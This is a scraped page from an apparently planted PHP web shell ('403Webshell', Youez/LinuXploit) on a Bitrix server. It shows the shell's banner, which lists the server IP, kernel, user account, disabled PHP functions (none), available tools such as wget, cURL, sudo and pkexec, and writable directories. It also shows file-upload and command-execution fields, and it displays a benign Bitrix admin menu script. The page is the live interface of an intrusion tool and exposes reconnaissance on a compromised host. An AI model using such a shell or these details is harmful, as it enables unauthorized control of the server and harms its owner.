403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /opt/webdir/bin/menu/08_web/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /opt/webdir/bin/menu/08_web/02_delete_web_instance.sh
#!/usr/bin/bash
#
PROGNAME=$(basename $0)
PROGPATH=$(dirname $0)
[[ -z $DEBUG ]] && DEBUG=0

. $PROGPATH/functions.sh || exit 1
logo=$(get_logo)

#web_instance() {
#    local web_server="${1}"
#
#    [[ $DEBUG -gt 0 ]] && echo " web_server=$web_server"
#
#    cache_web_servers_status
#    local web_data=$(echo "$WEB_SERVERS" | egrep -v ":(main):" | grep "^$web_server:")
#    if [[ -z $web_data ]]; then
#        print_message "$WEB0200" \
#            "$(get_text "$WEB0207" "$web_server")" "" any_key
#        exit
#    fi
#
#    # WEB_CLUSTER_TYPE =< fstype
#    local task_exec="$bx_web_script -a delete_web -H $web_server"
#    [[ $DEBUG -gt 0 ]] && echo "task_exec=$task_exec"
#
#    exec_pool_task "$task_exec" "$(get_text "$WEB0032" "$srv")"
#
#}

sub_menu() {
    menu_00="$WEB0201"
    menu_01="   $WEB0033"

    MENU_SELECT=
    until [[ -n "$MENU_SELECT" ]]; do
        menu_logo="$WEB0033"
        print_menu_header

        # print all
        print_web_servers_status "(main)" "1"
        print_web_servers_status_rtn=$?

        # task info
        get_task_by_type '(web_cluster|mysql|monitor)' POOL_SUBMENU_TASK_LOCK POOL_SUBMENU_TASK_INFO
        print_task_by_type '(web_cluster|mysql|monitor)' "$POOL_SUBMENU_TASK_LOCK" "$POOL_SUBMENU_TASK_INFO"

        if [[ ( $POOL_SUBMENU_TASK_LOCK -eq 1 ) || ( $print_web_servers_status_rtn -gt 0 ) ]]; then
            menu_list="\n$menu_00"
        else
            menu_list="\n$menu_01\n$menu_00"
        fi

        print_menu

        if [[ $POOL_SUBMENU_TASK_LOCK -gt 0 ]]; then
            print_message "$WEB0202" '' '' MENU_SELECT 0
        else
            print_message "$WEB0204" '' '' MENU_SELECT
        fi

        case "$MENU_SELECT" in
            0) exit ;;
            #*) web_instance "$MENU_SELECT" ;;
        esac
        MENU_SELECT=
    done
}

sub_menu

Youez - 2016 - github.com/yon3zu
LinuXploit